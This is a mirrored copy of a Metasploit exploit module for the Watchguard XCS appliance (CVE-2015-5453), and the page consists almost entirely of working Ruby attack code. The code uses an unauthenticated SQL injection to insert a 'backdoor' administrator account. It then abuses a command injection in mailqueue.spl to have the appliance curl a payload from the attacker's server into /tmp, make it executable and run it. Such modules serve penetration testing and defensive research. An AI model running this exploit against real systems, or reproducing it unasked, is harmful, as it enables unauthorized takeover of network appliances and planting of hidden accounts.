CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/http/watchguard_cmd_exec.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Watchguard XCS Remote Command Execution',
17
'Description' => %q{
18
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
19
appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
20
remote attacker may insert a valid web user into the appliance database, and get access
21
to the web interface. On the other hand, a vulnerability in the web interface allows the
22
attacker to inject operating system commands as the 'nobody' user.
23
},
24
'Author' =>
25
[
26
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
['CVE', '2015-5453'],
32
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
33
],
34
'Platform' => 'bsd',
35
'Arch' => ARCH_X64,
36
'Privileged' => false,
37
'Stance' => Msf::Exploit::Stance::Aggressive,
38
'Targets' =>
39
[
40
[ 'Watchguard XCS 9.2/10.0', { }]
41
],
42
'DefaultOptions' =>
43
{
44
'SSL' => true
45
},
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2015-06-29'
48
))
49
50
register_options(
51
[
52
OptString.new('TARGETURI', [true, 'The target URI', '/']),
53
OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
54
OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
55
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
56
Opt::RPORT(443)
57
],
58
self.class
59
)
60
end
61
62
def check
63
#Check to see if the SQLi is present
64
res = send_request_cgi({
65
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
66
'cookie' => "sid=1'"
67
})
68
69
if res && res.body && res.body.include?('unterminated quoted string')
70
return Exploit::CheckCode::Vulnerable
71
end
72
73
Exploit::CheckCode::Safe
74
end
75
76
77
def exploit
78
# Get a valid session by logging in or exploiting SQLi to add user
79
print_status('Getting a valid session...')
80
@sid = get_session
81
print_good('Successfully logged in')
82
83
# Check if cmd injection works
84
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
85
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
86
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
87
end
88
89
# We have cmd exec, stand up an HTTP server and deliver the payload
90
vprint_status('Getting ready to drop binary on appliance')
91
92
@elf_sent = false
93
# Generate payload
94
@pl = generate_payload_exe
95
96
# Start the server and use primer to trigger fetching and running of the payload
97
begin
98
Timeout.timeout(datastore['HTTPDELAY']) { super }
99
rescue Timeout::Error
100
end
101
end
102
103
def attempt_login(username, pwd_clear)
104
#Attempts to login with the provided user credentials
105
#Get the login page
106
get_login_hash = send_request_cgi({
107
'uri' => normalize_uri(target_uri.path, '/login.spl')
108
})
109
110
unless get_login_hash && get_login_hash.body
111
fail_with(Failure::Unreachable, 'Could not get login page.')
112
end
113
114
#Find the hash token needed to login
115
login_hash = ''
116
get_login_hash.body.each_line do |line|
117
next if line !~ /name="hash" value="(.*)"/
118
login_hash = $1
119
break
120
end
121
122
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
123
if login_hash == '' || sid_cookie == ''
124
fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
125
end
126
127
login_post = {
128
'u' => "#{username}",
129
'pwd' => "#{pwd_clear}",
130
'hash' => login_hash,
131
'login' => 'Login'
132
}
133
print_status('Attempting to login with provided credentials')
134
login = send_request_cgi({
135
'uri' => normalize_uri(target_uri.path, '/login.spl'),
136
'method' => 'POST',
137
'encode_params' => false,
138
'cookie' => "sid=#{sid_cookie}",
139
'vars_post' => login_post,
140
'vars_get' => {
141
'f' => 'V'
142
}
143
})
144
145
146
unless login && login.body && login.body.include?('<title>Loading...</title>')
147
return nil
148
end
149
150
sid_cookie
151
end
152
153
def add_user(user_id, username, pwd_hash, pwd_clear)
154
#Adds a user to the database using the unauthed SQLi
155
res = send_request_cgi({
156
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
157
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
158
})
159
160
unless res && res.body
161
fail_with(Failure::Unreachable, "Could not connect to host")
162
end
163
164
if res.body.include?('ERROR: duplicate key value violates unique constraint')
165
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
166
else
167
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
168
end
169
170
true
171
end
172
173
def generate_device_hash(cleartext_password)
174
#Generates the specific hashes needed for the XCS
175
pre_salt = 'BorderWare '
176
post_salt = ' some other random (9) stuff'
177
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
178
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
179
180
final_hash
181
end
182
183
def send_cmd_exec(uri, os_cmd, blocking = true)
184
#This is a handler function that makes HTTP calls to exploit the command injection issue
185
unless @sid
186
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
187
end
188
189
opts = {
190
'uri' => normalize_uri(target_uri.path, "#{uri}"),
191
'cookie' => "sid=#{@sid}",
192
'encode_params' => true,
193
'vars_get' => {
194
'f' => 'dnld',
195
'id' => ";#{os_cmd}"
196
}
197
}
198
199
if blocking
200
res = send_request_cgi(opts)
201
else
202
res = send_request_cgi(opts, 1)
203
end
204
205
#Handle cmd exec failures
206
if res.nil? && blocking
207
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
208
end
209
210
res
211
end
212
213
def get_session
214
#Gets a valid login session, either valid creds or the SQLi vulnerability
215
username = datastore['WATCHGUARD_USER']
216
pwd_clear = datastore['WATCHGUARD_PASSWORD']
217
user_id = rand(999)
218
219
sid_cookie = attempt_login(username, pwd_clear)
220
221
return sid_cookie unless sid_cookie.nil?
222
223
vprint_error('Failed to login, attempting to add backdoor user...')
224
pwd_hash = generate_device_hash(pwd_clear)
225
226
unless add_user(user_id, username, pwd_hash, pwd_clear)
227
fail_with(Failure::Unknown, 'Failed to add user account to database.')
228
end
229
230
sid_cookie = attempt_login(username, pwd_clear)
231
232
unless sid_cookie
233
fail_with(Failure::Unknown, 'Unable to login with user account.')
234
end
235
236
sid_cookie
237
end
238
239
# Make the server download the payload and run it
240
def primer
241
vprint_status('Primer hook called, make the server get and run exploit')
242
243
#Gets the autogenerated uri from the mixin
244
payload_uri = get_uri
245
246
filename = rand_text_alpha_lower(8)
247
print_status("Sending download request for #{payload_uri}")
248
249
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
250
vprint_status("Telling appliance to run #{download_cmd}")
251
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
252
register_file_for_cleanup("/tmp/#{filename}")
253
254
chmod_cmd = "chmod +x /tmp/#{filename}"
255
vprint_status('Chmoding the payload...')
256
send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
257
258
exec_cmd = "/tmp/#{filename}"
259
vprint_status('Running the payload...')
260
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
261
262
vprint_status('Finished primer hook, raising Timeout::Error manually')
263
raise(Timeout::Error)
264
end
265
266
#Handle incoming requests from the server
267
def on_request_uri(cli, request)
268
vprint_status("on_request_uri called: #{request.inspect}")
269
print_status('Sending the payload to the server...')
270
@elf_sent = true
271
send_response(cli, @pl)
272
end
273
274
def autofilter
275
true
276
end
277
end
278
279